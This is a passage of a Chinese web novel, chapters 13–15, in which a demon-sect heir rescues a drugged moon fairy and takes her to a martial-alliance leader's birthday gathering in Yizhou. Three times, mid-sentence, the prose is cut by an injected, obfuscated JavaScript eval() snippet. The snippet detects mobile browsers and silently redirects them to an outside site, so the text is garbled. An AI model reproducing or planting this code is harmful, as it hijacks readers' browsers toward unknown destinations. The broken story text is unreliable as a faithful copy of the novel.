小姮娥没有回答他的问题,她脸蛋红红的,醉酒一样的红,眼神却很迷茫,她并不说话,只是依旧软软地靠在他怀里,仿佛一秒也不想离开他。 隔着衣物,他也能感受到她的身体在发烫。 萧随星终于意识到了不对,他用修长的手指钳制住她的脸,仔细观察了一下她的神情,最后在她衣裙的褶皱上找到了微量的粉色粉末。 混迹江湖这么多年,如果认不出这是什么,那他也就白混了。 “哈。” 萧随星直接被气笑了。 13. 第十三章 魔教不是什么光明磊落的地方,萧随星自幼在魔教长大,见识过的鬼蜮伎俩不在少数,自然一眼就认出了这些粉末是什么东西。 迷情丹,顾名思义,猜也猜得到它的用途,虽然不会对身体造成伤害,但此药效力极强,哪怕只是稍微吸入了些许粉末,都会在使用者身上造成极为强烈的影响。 小姮娥的状态,显然是已经被迫服用过这种药物,正处于药力发作的阶段。 始作俑者除了吴鹏不做他想,一想到他竟然给小姮娥喂了这种药,萧随星就恨自己刚才下手还是太果断了,竟然让他死得这么轻松。 他不想再让她在这个恶心的地方待下去,于是把小仙女打横抱了起来,直接带回了医馆。 常年习武,萧随星就算带口大缸赶路也能行动如风,并不会觉得重,但此刻抱着轻飘飘的小姮娥他却觉得很难熬。 大概是因为药效发作不舒服,这一路上她一直靠在他怀里蹭他,他想让她别乱动,但看她这么难受,又不知道该怎么开口,最终只能尽量忽视怀里的触感,加快速度一心赶路。 就这样捱到了医馆,萧随星才不着痕迹地松了口气。 紧接着第二个问题又开始困扰他。 她不肯离开他。 他本想把小姮娥放在床榻上,然后给她留出一个单独的空间来,但是她却无论如何都不肯离开他的怀抱,一直紧紧地贴在他身上。 萧随星觉得现在的场面完全是自己自作自受。 魔教家大业大、高手如云,教中擅长制毒和解毒的行家都不在少数,行走在外,几乎每个教众手上都会有标配的毒药和解药,无论是害人还是救命,都能派上大用场。 萧随星身为魔教少主,他能拿到的药剂更是多种多样,其中甚至也包括了迷情丹的解药。 但是萧随星本就身中多种奇毒,这些毒凶猛霸道,一面蚕食他的血液,一面却也抵挡了外物的入侵。 这也就导致了常人眼中的那些致命毒药对萧随星根本没用,因为他本身的血液就已经够毒了,当然不会再被其他的毒药所害,迷情丹这种“小打小闹”的玩意儿更是不被他放在眼里。 而他的武功又高到根本不需要用下毒之类的方法害人,毒药对他来说没用,也就意味着解药对他来说同样没用,没用的东西萧随星是不会随身携带的。 他怎么也没想到,自己有朝一日,竟然还有用得上解药的一天。 小姮娥不知道自己是怎么了,她大概也被自己身上的变化吓到了,以为自己是被喂了什么毒药,窝在他怀里小声地啜泣:“小星,我身上好难受好难受……我这是怎么了?我是不是要死了?” 萧随星不知道该怎么和她解释现在的情况,小姮娥一看就是对男女之事一窍不通的那种,迷情丹这种肮脏的东西说出来都是玷污了她的耳朵。 他只能干巴巴地安慰她:“不会的,你不会死的。” “可是我好难受……”她泪汪汪地望着他,“我是不是中毒了?可是我没见过这种毒药……我不知道该怎么解……你救救我嘛……” 她委屈地又开始小声哭泣,显然是难受到了极点。 因为体温在升高,她觉得很热很不舒服,于是下意识地就去撕扯身上的衣裙,虽然萧随星及时阻止了她的动作,但裙间的系带还是被她扯松了一部分,衣裙变得松松垮垮,一截雪白的锁骨直接露了出来。 她的肌肤本就白腻如雪,此刻体温上升,皮肤更是呈现出醉酒一样的粉红色,仿佛白玉桃花,美得摄人心魄。 平日里的她是白衣仙子,温柔圣洁,凛然如月,多看一眼都是亵渎,让人不敢升起冒犯的念头。 可此刻的她却变成了聊斋中引人堕落的妖精艳鬼,鬓发散乱、杏眸懵懂,看起来娇憨动人到了极点,简直能勾出人心底最原始最罪恶的邪念。 那一抹雪色只是匆匆一瞥,萧随星立刻垂下眼帘不再看她,他眼疾手快地拉住她的衣领,不让她继续往下扯。 他语气平静,声线却不知为何有点哑,仿佛哄她一样低声道:“我现在出去,就在外面守着你,我保证不会让任何人进来……你——你自己解决一下,好吗?” 迷情丹这种东西虽然恶心,但是并不会危及生命,即便药力很强,也是可以自行处理的。 见他这样,夏桃有些目瞪口呆。 哥,你的人设是魔教少主不是正人君子吧? 这样一个大美人摆在你面前,你竟然能忍住什么都不做? 虽说趁虚而入趁人之危的男人都是禽兽,但你这个样子,简直是禽兽不如啊! 萧随星用被子把小姮娥裹了起来,连同她露在外面的雪白肌肤也给盖住了,他正准备起身离开,却突然被她拉住了手。 她用力并不大,但她纤细的手指搭在他的手心上时,却让他很难挣脱开。 小姮娥泪眼朦胧地望着他,又害怕又惶恐:“小星,你是要丢下我一个人吗?你是要让我自生自灭吗?你不救我了吗?” 她显然还沉浸在自己中毒了的设想中无法自拔,以为自己吃下的迷情丹是什么恐怖骇人的毒药,而萧随星根本不打算救她这个中毒已深的病人。 萧随星沉默了半晌,实在不知道该怎么解释,只能艰难道:“……不是的,我只是、想让你自己——总之,这种毒——是可以自己解决的。” 小姮娥又哭了起来:“你骗人!你就是不想救我……什么自己解决,我根本不会……” 简直是迎头一击。 他突然意识到了一个致命的问题。 小姮娥一直待在月宫这个只有兔子和玉桂树的清冷之地,又只有三百岁仙龄,她对人间的诸多常识都不甚了了,更不用说男女之事了。 方才吴鹏都把她绑到床上了,她竟然还以为他只是想吃掉她,没有其他方面的联想,她很可能……根本就不懂该怎么解决迷情丹的问题。 怎么办? 萧随星从未遇见过这么棘手的情况。 简直比他过去面临的那些生死危机还要更棘手得多。 其实萧随星不是不知道迷情丹要怎么解,江湖儿女,行事大都不拘小节,如果换了别人面对这种事,大概会觉得不过是一桩风流韵事罢了,根本不值得放在心上也无需如此纠结。 更何况主角还是这样仙女似的大美人,不要说面临现在这种情况了,哪怕没有迷情丹,恐怕大多数男人对一亲芳泽这种事也是求之不得。 可是这些男人里唯独不包括他。 魔教中人行事大多狂放不羁,萧随星也一样,可因为幼时的经历,他对这种事反而抱着一种世间男子极其少有的态度——在他看来如果有了关系,无论喜欢与否,他都必须为此负责。 可他恰好又是个极讨厌被束缚的人,他自由惯了,也随心所欲惯了,他对自己的人生都这么随便,觉得完成目标后随时去死也无所谓,更不用说别人了。 他根本就不想负担任何人的人生。 无论何时,他都想确保自己的心是自由。 可是,没有办法推开她。 在她靠在他怀里的时候,他没有办法坚决地、决绝地推开她。 小姮娥大概是被药效折磨得不轻,她逐渐不再说话,只是觉得他身体比她凉,像块冷玉一样,所以本能地想和他亲近。 她搂着他的脖子,贴在他怀里亲亲蹭蹭,可她完全不得章法,这种程度的接触根本就是饮鸩止渴,很快就把她自己难受得嘤嘤直哭,一边哭一边求他救救她,还说他再不救她她一定会中毒死掉的。 她的身体太软了,没有骨头一样软倒在他怀里,好像一块温软的白玉桂花糕,他不得不小心地搂住这一团桂花糕,以防她不小心直接碎掉。 空气中浮动着月桂的冷香,是她身上的香气,以往她身上的香气总是淡淡的,隐隐约约、若有若无,让人忍不住想探寻更多,可此刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她越是美好,越是圣洁无瑕,越能勾起他心底最肮脏的念头,他就越是想要欺负她、占有她、弄脏她,把她身上的每一寸都涂抹上他的印记。 小仙女对于萧随星在想什么一无所知,她也完全没有自己此刻正在走钢丝的自觉,只是按照自己的想法泄愤把他当工具,对他“肆意妄为”,反正他也不会反抗。 折腾了好一会儿,她也累了,刚好体内药效减弱,她松开搂住他脖子的手,推了推他的胸膛,试图离开工具人的怀抱:“哼,你不想帮我就算了,反正我也没那么难受了,就到这里吧,我睡一觉明天就好了……” 还没能离开,下一秒,只觉一阵天旋地转,回过神来的时候,她直接被他按倒在了柔软的床褥中。 黑发少年俯下身,那双泛着桃花的漂亮眼眸一眨不眨地凝视着她,他的喉结微微滚动了一下,仿佛饿极了的狼,下一秒就会把她吞吃入腹。 小仙女被吓了一跳,望着他结结巴巴地说:“你你你、你想干嘛?” 萧随星:“我我我、我能干嘛?” 小姮娥恼羞成怒,一巴掌拍他胳膊上:“不许学我,你好讨厌……” 却被他反手握住了手腕,直接压在了枕边。 她尝试着挣扎了一下,没挣开,他钳制住她的手纹丝不动。 这个氛围委实有些不妙,但小仙女又不知道这样不妙在哪里,只能磕磕绊绊地说:“我、我感觉好多了,应该、应该不用你帮忙解毒了……男女授受不亲……你要不就先放开我,咱们、咱们从长计议……” 萧随星笑了,直接打断她的话:“利用完我就想丢到一边?仙子姐姐,你好过分啊。” “那、那你想怎么样?” 她弱弱地问。 他俯下身,风流粲然的双眸灼灼地望着她,直言不讳:“我想睡你。” 14. 第十四章 最后……当然什么也没发生。 虽然萧随星用词很猖狂,但估计他还是觉得在这种情况下发生什么,对天真单纯的小姮娥来说太不公平,所以尽管骚话一套一套的,但最后他还是克制住了自己,并没有做到最后。 系统对此目瞪口呆:【这么个大美人当前也能忍住?!桃桃,他是当代柳下惠么?】 “呵呵,谁知道呢?”夏桃冷冷一笑,开始造谣,“不行的男人是这个样子的。” 系统无语了片刻,不再说话,继续当它可爱无害的捣药小白兔去了。 虽然最后什么也没发生,但这一晚两人之间的进展是喜人的,萧随星的攻略进度条直接被她拉到了百分之九十——他已经非常喜欢她了,具体表现就是他没再想要撇下她,而是问她想不想和他一起去益州。 夏桃知道这个问题纯属废话,他是下定了主意就不会再放手的那种人,他问她要不要跟他走的意思,其实是无论她愿不愿意,他都会带她走。 但她还是装作犹豫地说:“可是,我从没去过益州,不知道那里好不好玩儿……你去那里做什么呢?” “益州自古就是繁华之地,那里好玩的好吃的可比千山镇多多了。”萧随星笑眯眯地说,“我有个朋友在益州,不久后是他父亲生辰,届时会大摆宴席。反正也没什么事做,不如和我一起去吃喝玩乐?” “好吧!”小仙娥高兴起来,“我最喜欢吃喝玩乐了!” 夏桃知道他言不尽实,给朋友父亲过寿宴什么的不是他一定要去益州的理由,但小姮娥天真烂漫,又怎么会去怀疑这些呢? 所以也就装作自己什么都不知道,随他一起上路。 这次出发走的还是水路,和之前不同的是,萧随星一人上路时一叶小舟就随意打发了,但这次启程他们乘坐的船却是一座精致华丽的画舫。 画舫很大,远远望去,像是在湖面上搭建了一座亭台楼阁。 画舫上有十几号人跟随同行,夏桃仔细观察过了,这些人走路无声、步伐轻巧,明显个个都有不俗的功夫在身上,对萧随星的态度更是毕恭毕敬到了极点,显然是魔教中人。 不过,他似乎并不想在小姮娥面前撕掉自己的马甲,所以只说他们是自己请来的仆役,这些人在她面前也只称呼他为“秦公子”,并不称“少主”。 小姮娥疑惑道:“可是,你不是猎户吗?哪来的钱请这么多仆役呢?而且,他们为什么叫你‘公子’?” 萧随星沉吟了一会儿,淡定道:“因为我是‘猎户世家’的传人,‘世家’的传人都是‘公子’。” 夏桃:……“猎户世家”是什么东西啊,你小子仗着小仙女不了解人间就胡编乱造是吧!敢不敢再离谱一点! 虽然觉得他的话全是槽点,但看在有漂亮大船坐的份上,夏桃还是理解地没有揭穿他。 有了假身份托底,萧随星也没有再继续装下去的兴致了,他重新恢复了魔教少主挥金如土的做派,对小仙女更是宠爱得没边。 她房内点的熏香是千金难买的紫藤香;用来盛物的是名贵无比的五色琉璃;睡觉的床被是由柔软的雪缎和“寸锦寸金”的云绫锦所制;她有时不爱穿鞋,画舫内就铺满了昂贵的孤古绒,像是生怕伤到了她娇嫩的双足。 就连夜晚她房内照明用的也不是蜡烛和灯盏,而是一颗颗价值连城的夜明珠。 即使是在行驶的画舫上,各种奇珍异宝、美味珍馐仍是不要钱一般地送到她面前,即便她只是在食用某样东西时皱了皱眉,不一会儿,也会有别的新鲜玩意儿作为替换,呈到她面前。 被吩咐来照顾她的侍女有四个,管事的那个名叫“绿漪”,夏桃看得出来这几个侍女身上都有功夫,甚至绿漪的功夫应该还挺不错。 但她们对被派来当她侍女这件事毫无怨言,不知道萧随星说了什么,但大家似乎都默认了她就是将来的“少主夫人”,所以面对她时十分尽心竭力,生怕她这位夫人有任何不满意的地方。 萧随星这人对自己挺糊弄,一叶小舟就随意打发了,但是对他的女人倒还蛮好的,说是捧在手心里的珍宝也不为过了。 夏桃若有所思。 因为他对她这么好,水路上的行程小仙女一点也不觉得难熬,每日吃了玩玩了吃,萧随星对她十分纵容,哪怕她睡到日上三竿也不会主动要她起床。 画舫一路顺水南下,几日后,终于到了益州的首府,都阳城。 益州位于南方,气候温暖,同样的时节,泉州已是一片萧瑟之景,但益州还是花团锦簇、幽香浮动。 夕阳西下,一盏盏灯火从街头巷尾逐次亮了起来,都阳城内人来人往,热闹非凡,人影倒映在水面,波光粼粼,逐渐看不清原本的模样。 小仙女原本是很新奇的,但是自进入都阳城以来,她兴奋过度,竟然把自己弄晕船了,此时正病蔫蔫地趴在床榻上发呆,还让萧随星在一旁陪她。 “都怪你……”她怨念极了,“好端端的,为什么非要来益州?如果你不来益州,我就不会坐船,如果不坐船,就不会晕船,如果不晕船,我现在就不会那么难受……” “这也能怨我?”萧随星瞥她一眼,“刚才蹦蹦跳跳停不下来的人不是我吧?” “就怨你。”她瞪他一眼,“所以你还没说你来益州到底是参加谁的寿宴呢?” 萧随星语气淡淡:“偃月楼楼主林正清的寿宴。” “偃月楼楼主?” “也是当今的武林盟主。”萧随星道,“偃月楼楼主林正清武功高强,为人仗义,在江湖之中素有威名,被推举为武林盟主已经是好多年前的事了。” “你不是猎户世家的传人吗?怎么会认识武林盟主呢?” 他懒懒道:“我不认识武林盟主,但他儿子林旌是我不久前结交的好友,此次他父亲生辰,也是他邀请我去的。” 夏桃这下是真的好奇了,就算她读过的武侠小说不多,也知道在武侠世界里,正派和魔教通常都势不两立,两方中如果有人来往密切,少不得要被当成二五仔毒打一顿……萧随星身为魔教少主,竟然和武林盟主的儿子交朋友? 怎么想都很诡异吧? 而且他看起来似乎对对方身份心知肚明,并无半分芥蒂,好像一点也不在乎对方武林盟主之子这个身份似的……可要说和这个朋友情谊深厚,看他神色淡淡的样子又不像……这倒是奇了怪了……难道他是那种“交朋友只看脾性,不在乎对方家世背景”的人? 不知为何,夏桃总觉得哪里有点怪怪的。 但她来不及多问,因为船已经靠岸了。 下船前,小仙女犹豫着要不要戴帷幔,萧随星注意到了她的异常,投过来一瞥:“怎么了?” “我在想,要不要戴帷幔……” “为什么要戴帷幔?” “想把脸遮住……”她小声嘟囔,似乎有点不好意思,“我长成这样,大家好像都觉得我很好看……如果不遮住脸的话,怕会惹上麻烦。” “不用。”萧随星扯了扯嘴角,“有我在,没人敢找你麻烦。” 他语气淡淡,言辞却称得上狂妄,但身后的魔教教众全都面无异色,仿佛他说的不是一句承诺,而是一个无可辩驳的事实。 绿漪笑着把斗篷递上,柔声道:“夏姑娘不必多虑,咱们这么多人在这儿,还有公子相伴,谁敢打您的主意呢?秋夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823791|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风寒,夏姑娘若是怕冷,披件斗篷也就是了,帷幔倒是不必戴了。” 夏桃接过斗篷,冲她甜甜一笑:“谢谢绿漪姐姐。” 她本就生得琼花玉貌,这一笑有如月中聚雪,就连沉沉的夜色都要明亮起来了。 教众中不止男人们脸红了,就连不少女人们也得抚着胸口再三提醒自己“这是少主的女人这是少主的女人”,如此重复几遍,才能让心情平复下来。 小仙女在画舫上磨磨蹭蹭,岸边却早已有人等得不耐烦了。 林乐生无疑是等得最不耐烦的那一个。 身为武林盟主之子,林乐生自幼含着金汤匙出生,可谓万千宠爱于一身,所以难免有些骄纵跋扈。 父亲寿辰将近,各大门派派来贺寿的人近日陆续抵达,林乐生不愿意应酬这些琐事,方才听哥哥林旌说要去接一个朋友,于是拉着他要求一起去。 林旌自然无有不可,但林乐生等了没多久就不耐烦了:“哥,你那位朋友真是好大的面子,一个没听说的九流商户,竟然也能让你这位林大公子在这儿等这么久。” 林旌敲了敲他的脑袋:“少在这儿胡说八道!等得不耐烦你就滚回去,家里正忙,你刚好帮着芷姨招待客人。” “我回去就是添乱,芷姨才不想见我呢……”林乐生撇嘴,“我就不走,我倒要看看你那位朋友究竟是何方神圣,能让你这么眼高于顶的人也自愧弗如。” 虽然自幼习武,但林旌和林乐生都生得一副好容貌,柳眉杏目,唇薄齿白,是有些女相的好看。 林旌已满十八,身姿挺拔,眉宇间英气十足,恰好冲淡了五官中的柔气。 而林乐生还只是个十二三岁的小少年,身型还未抽条,五官又这么柔和,远远望去,简直像是个漂亮的小姑娘。 “话又说回来,哥你还没告诉过我你是怎么认识这位朋友的?” 林乐生好奇,他这才想起自己对哥哥的这位好友似乎一无所知来着。 “也没什么特别的。”林旌道,“几个月前我去寺里上香,回程路上遇上杀手劫道,对方人数众多,我一时难敌,幸好我这朋友也从寺里上香归来,我们二人联手配合,这才打跑了敌人。” 林旌沉吟道:“说来也是缘分,明明是第一次见,但不知为何,对他总有一见如故的感觉,仿佛很久前就认识了一般……” 林乐生翻了个白眼:“你那朋友男的女的啊?我看你不是一见如故,是一见钟情吧?” “瞎说什么?”林旌无语,轻斥道,“我那朋友是——” 话音未落,突见一艘飘着“秦”字旗的画舫靠岸,船上有人走了下来,林旌抬头示意:“喏——他到了,你自己看吧。” 一抹雪白的倩影从船上飘了下来。 她提着一盏灯笼,河边风大,在她下船的瞬间,正巧一阵大风刮过,吹得她裙裾翩然翻动,仿佛一只白鹤振翅欲飞。 河岸边人来人往,喧闹不歇,可当这个白衣少女出现的那一刻,就像是被摁下了暂停键,整个河岸突然陷入一片寂静之中。 不知是见到了洛水神女,还是见到了月宫仙子。 好几道“扑通”声响起,这是有人看得入迷,没注意脚下,直接掉进水里了。 好在都阳城的人水性都不错,自己游上来也就是了,不至于被水淹死。 那白衣少女似乎也被这场面吓到了,愣了好几秒,确认落水的人都爬上来后,这才把视线投向林旌,天真烂漫地冲他一笑:“你就是林公子吗?” 林旌还没回答,林乐生先说话了,他扯了扯林旌的衣角,恍惚道:“哥,你朋友是仙女你怎么不告诉我?你不介意我娶你朋友吧?” 15. 第十五章 林旌被眼前少女的容光所摄,一时也没注意到自己弟弟正在大放厥词,他刚要反应过来,一道清朗含笑的声音突然传来:“林公子,许久不见,别来无恙。” 看见来人,林旌眼睛一亮,顿时露出个笑来:“秦兄?真的是你!我方才还以为认错船了!叫什么‘林公子’啊,才多久没见哪有这么生疏?还是和之前一样叫我林旌就行了!” 萧随星行走在外,用的是假名“秦星”,而他年纪又和林旌差不多大,彼此间不计较尊卑,互相以“萧兄”“林兄”相称也很正常。 既然他这样说了,萧随星也不坚持,只是笑道:“这画舫虽精致华美,但行速实在不算快,倒是劳烦林兄久等。” “你千里迢迢来参加家父的寿宴,是给我面子,我若连这点等待的时间都觉得辛苦,那也太娇气了不是?” “林兄这话抬举我了,令尊既是偃月楼楼主,又是名扬江湖的正道魁首,威望之盛,天下英豪莫敢不从。能来参加令尊的寿宴是幸事一桩,如何能说是给林兄面子?” 他这番话说得漂亮极了,林旌也忍不住笑了:“许久不见,秦兄倒是越发会打趣人了。” 萧随星自上船以后就换了装束,从一身普通的黑色衣衫变成了精致的暗纹玄袍,他本就生得俊美,衣着一旦华丽起来,整个人的气质就显得分外清贵风流。 此时一身玄衣的他站在一身白裙的小姮娥身边,俊男美女,看起来分外相配,仿佛一对神仙眷侣,惹得路过的行人不时侧目。 岸边风大,不知是觉得有点冷还是被这么多人围观的场面吓到了,小仙女依赖地往他的方向靠了靠,整个人都快依偎进他怀里了。 林旌自然也注意到了两人间不同寻常的亲昵,微微一怔:“这位是……?” 萧随星瞥了一眼怀中的少女,含笑道:“这是我夫人。” 江湖儿女成家本就不如寻常百姓那般早,林旌也是如此,活到十八岁了都没想过成婚的事,推己及人,自然也就以为和他年龄相仿的萧随星也没娶妻。 见到这绝色少女和他举止亲密,林旌一开始还以为她是他的妹妹,却没想到竟然是他的妻子,除了惊讶外,似乎还有一丝说不清道不明的失落,但他心思纯挚,并不会觊觎好友的女人,这点失落也不过一闪而逝。 他倒是调整好心态了,但有人显然没能调整好,突闻噩耗,林乐生大惊失色:“什么?!仙女姐姐居然已经嫁给你了?!你这个癞蛤蟆凭什——” 林旌眼疾手快,一边捂住弟弟的嘴,一边若无其事地哂笑道:“乐生性子顽劣,所说都是无心之言,秦兄见谅、见谅。” “无碍。”萧随星似乎并不在意,他看了林乐生一眼,微笑道,“他叫‘乐生’?真是个好名字。” 这一茬就算过去了,互相介绍一番后,林旌指挥仆人帮忙从船上搬东西,然后领着几人往偃月楼走。 没人看到的角落,小仙女狠狠拧了某人一把,气呼呼地说:“说什么呢你?怎么嘴一张一闭我就成你‘夫人’了?我答应嫁给你了吗?” 萧随星眨了眨眼,狡黠的笑意一闪而过,语气却可怜巴巴的,他叹了口气,低声道:“仙子姐姐,明明都对我做过那种事了……现在居然想始乱终弃吗?” 小仙女被他不要脸的作风彻底打败,终于炸毛了:“你——!” 黑衣少年忍俊不禁,低笑出声,拥着她继续前行。 夏桃实在很想知道此人葫芦里卖的什么药,所以也就不揭穿他,配合地扮演他夫人的角色。 林旌为人正直,知道夏桃是好友妻子后,便刻意保持着距离,并不主动与她搭话,只是和萧随星闲聊,问他这段时间在做什么,准备在益州待多久,再顺带讲些最近江湖上发生的事。 他弟弟林乐生则丝毫没有避嫌的念头,既不叫夏桃“夏姑娘”也不叫她“夏姐姐”,而是一口一个甜甜的“桃姐姐”,围在她身边问东问西的,尤其是问她这种仙女到底怎么眼瞎看上癞……看上秦哥哥的。 一路上气氛很是和谐。 都阳城没有宵禁,哪怕到了傍晚,仍旧有很多百姓在外闲逛,夜市上张灯结彩,大概是为了庆贺林正清的寿辰,到处挂着红彤彤的灯笼,看起来十分喜庆。 小姮娥注意到街上时不时就有穿着相同制式衣裳的人走过,而且大都身负武器,似乎都是习武之人,看方向,好像是和他们往同个地点去的。 她不由得好奇道:“林公子,这些人是谁呀?他们也是来参加你父亲的寿辰的吗?” 不知为何,明明是在和她说话,但林旌并不看她,只是回答道:“……是青焰坊的弟子。青焰坊和偃月楼一向交好,他们也是应邀来参加家父寿宴的。” “不止呢!”林乐生得意地说,“桃姐姐你是仙女,或许不知道我父亲在江湖中的声望有多高。何止青焰坊?大悲门、升龙观、问天阁、狂沙岛——东南西北,但凡是叫得上名号的宗派,谁不派人来给我父亲贺寿?呃……魔教不是名门正道,它除外。” “噢……这样啊。”夏桃故作懵懂地点了点头,“可是来了那么多人,寿宴坐得下吗?” “这倒是无妨。”林乐生说,“芷姨先前就说了,此次寿宴广邀天下群豪,在府邸办太过逼仄了,不如把宴客地设在都阳湖畔,岸边有酒楼,湖中有画舫,便是再来多少人也不打紧。” 就这样一路闲聊,很快便到了林宅门前。 林旌正准备招待他们进去,突然听得一声嘶鸣,尘土扬起,一匹黑色的骏马飞驰而来,并不避让人群,反而从人群中直直闯了过去! 如果不是在场的人都会武功,及时避开了马匹,大概好几人大概都会被撞倒在地。 林旌先是一惊,确认没人受伤后才松了口气,他立刻望向马背上的人,满面寒霜地怒道:“林睿你给我滚下来!我有没有告诉过你没事别在街上骑马?!万一撞死了人你有几条命可以赔?!” 骑马的人竟然是个和林乐生年纪相仿的少年,只是相比林旌和林乐生出众的俊秀昳丽,马上的少年容貌要平凡许多,只称得上一声清秀。 听见林旌的训斥,林睿也不当回事,哈哈大笑道:“听说有客人上门所以我回来看看!只是没想到大哥你交朋友也是越来越不讲究了,什么上不了档次的东西都往家里带!” 这话明面上是针对萧随星一行人,但聪明人都听得出其中指桑骂槐的意味很重。 林旌的脸色瞬间沉了下去:“你说这话是什么意思?” 林睿不以为然:“大哥觉得是什么意思就是什么意思啰。” 还没等林旌发怒,一道女声突然插入,打断了此刻剑拔弩张的氛围:“林睿你简直是无法无天了!这是你和你哥说话应该有的态度吗?!你马上给我滚下来!” 来人是个衣着华丽作妇人打扮的女子,她看起来大概四十岁左右,体态丰腴,五官生得极美,眉目秾丽如画,年轻时定然是个大美人。 不知为何,原本一直混不吝的林睿见到这个女人后突然变得愤怒了起来:“我才不下来!娘你就会偏袒林旌和林乐生!有时候我真不知道到底谁才是你亲生的!” 林睿怒气冲冲地说完这段话,也不给旁人反驳的时间,直接骑着马扬长而去了! “这孩子——” 女人脸色发白,一时说不出完整的话,显然被气得够呛。 见她这样,原本很愤怒的林旌反倒冷静了下来,他叹了口气,温声道:“芷姨,您别气了,再过几天就是寿宴,这种紧要关头您可千万不能把自己给气病了。” 女人勉强笑笑:“小旌说得是……只是小睿这孩子近来越发不懂事了,整日不学无术惹是生非,自我生了珠珠后,他更是……唉,我时常想,小睿若是能有你和乐生一半的知礼明事,我便是死了也安心了。” “芷姨,大好的日子说什么死不死的?”林乐生扯出一个笑脸来,装乖道,“小睿哥哥年纪尚小没定性,等再大点就会懂芷姨的良苦用心啦,孩子哪有不爱自己母亲的?” “乐生真是嘴甜。” 女人笑着捏捏他的脸。 一个侍女突然抱着一个哭泣的小婴儿走了过来:“夫人,珠珠小姐醒了见不着您,一直哭着要找您呢。” 女人顿时怜爱地把女婴抱进了怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850876|158189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻声哄睡,她客气地和萧随星一行人寒暄了几句,便抱着孩子回去了。 待女人走后,林旌才有些尴尬地说道:“家弟莽撞……是我这个做哥哥的管教不力,让秦兄和夏姑娘见笑了。” “无妨,令弟性子活泼,不是什么了不得的问题。”萧随星微笑,垂眸道,“只是没想到,林兄竟还有个这么小的妹妹……令尊和令堂伉俪情深,数十年如一日,实在令人羡慕。” 林旌只是笑笑,但林乐生却小声嘀咕:“……才不是呢。” “乐生。” 林乐生不满:“哥,整个都阳城都知道的事,到底有什么好瞒的啊?” 见萧、夏二人神色间似乎有些好奇,林旌沉默了一会儿,好像也觉得没什么不能说的,便开口道:“秦兄和夏姑娘方才应该也看出来了……芷姨虽然是我父亲的妻子,但并不是我和乐生的亲生母亲。” “此事说来话长,我的外祖父是偃月楼上一任楼主,偃月楼家大业大,我外祖父更是武学奇才,但他却只得了一个体弱多病的女儿,也就是我亲生母亲。” “外祖父年轻时武功盖世,为人又侠义,遇到不平之事总想去帮一帮、救一救,因此得罪过不少人。后来有了我母亲,外祖父便不得不为他这个柔弱的女儿考虑,希望自己去世后,女儿仍有人可以依靠。恰好我父亲父母早亡,流落在外,他看中了我父亲的武学天赋,将其收为弟子,倾囊相授。” “我父亲和我母亲自幼一起长大,是青梅竹马的师兄妹,感情甚笃,后来外祖父去世,我父亲便顺理成章地娶了我母亲,成了新的偃月楼楼主。” “父亲深爱母亲,只是刚继承楼主之位,他要忙的事务实在太多,难免有些冷落了我母亲……” 林乐生接过他的话,低声道:“母亲因此郁郁寡欢,她身体本来就弱,生我时不太顺利,生完我不久后就血崩离世了……自那以后,父亲日日借酒浇愁,他每天都活在对妻子的怀念中,发誓终生不再娶妻。” “后来,父亲便遇到了芷姨……或许是上天垂怜吧,芷姨容貌和我母亲有几分相似,名字也和我母亲一样有个‘芷’字。父亲坚信她就是母亲的转世,把她娶回了家中,加倍宠爱她,似乎这样也算是在偿还对我母亲的亏欠。” 话至此处,突然传来一声轻笑,是萧随星,他微笑道:“先前我便听说了林楼主爱妻如命的传闻,没想到背后竟然隐藏着这么一个感人至深的爱情故事。” 夏桃诧异地看了他一眼:哥们你被夺舍了吗?这不就是莞莞类卿的烂俗剧情吗?这种“妻子在世时不好好珍惜,死后疯狂弥补替身感动自己”的爱情故事到底感人在哪里啊? 但同为男人,林旌似乎没觉得这个逻辑有哪里不对,他叹了口气,说道: “芷姨也是个可怜人,遇见我父亲时刚丧夫不久,亡夫财产一分没留下,只给她留下了一个嗷嗷待哺的孩子。我父亲将小睿视作亲生孩子,从未苛待过分毫,但小睿后来知道了自己和林家没有血缘关系,还是因此生出了芥蒂……特别是珠珠出生后,他便越发暴躁易怒了。” “作为兄长,我理应管教弟弟,但毕竟不是血脉相连的亲人,到底隔着一层,无论管松了还是管紧了都不太妥当。若是太过严厉,总担心芷姨会因此觉得我们苛待小睿,若是让她伤心,那便不好了,所以平日里我们对小睿总是能让就让,却没想到竟让他养成了这么个无法无天的性子……” 萧随星似乎有些好奇:“都说后母难做,但听林兄所言,好像和你这位后母关系不错?” “实不相瞒。”林旌坦言道,“我生母去世时我还很年幼,对她的印象不太深,更不用说乐生了,他可以说从未见过亲生母亲。所以……芷姨对我们来说和生母也没多少区别了,况且人心都是肉长的,芷姨的存在对父亲来说是个慰藉,我们多少也算是爱屋及乌吧。” “原来如此。”萧随星缓缓点了点头,微笑道,“世上负心汉何其多,令尊身居高位,对妻子却用情至深,实在令人动容。” 啊??? 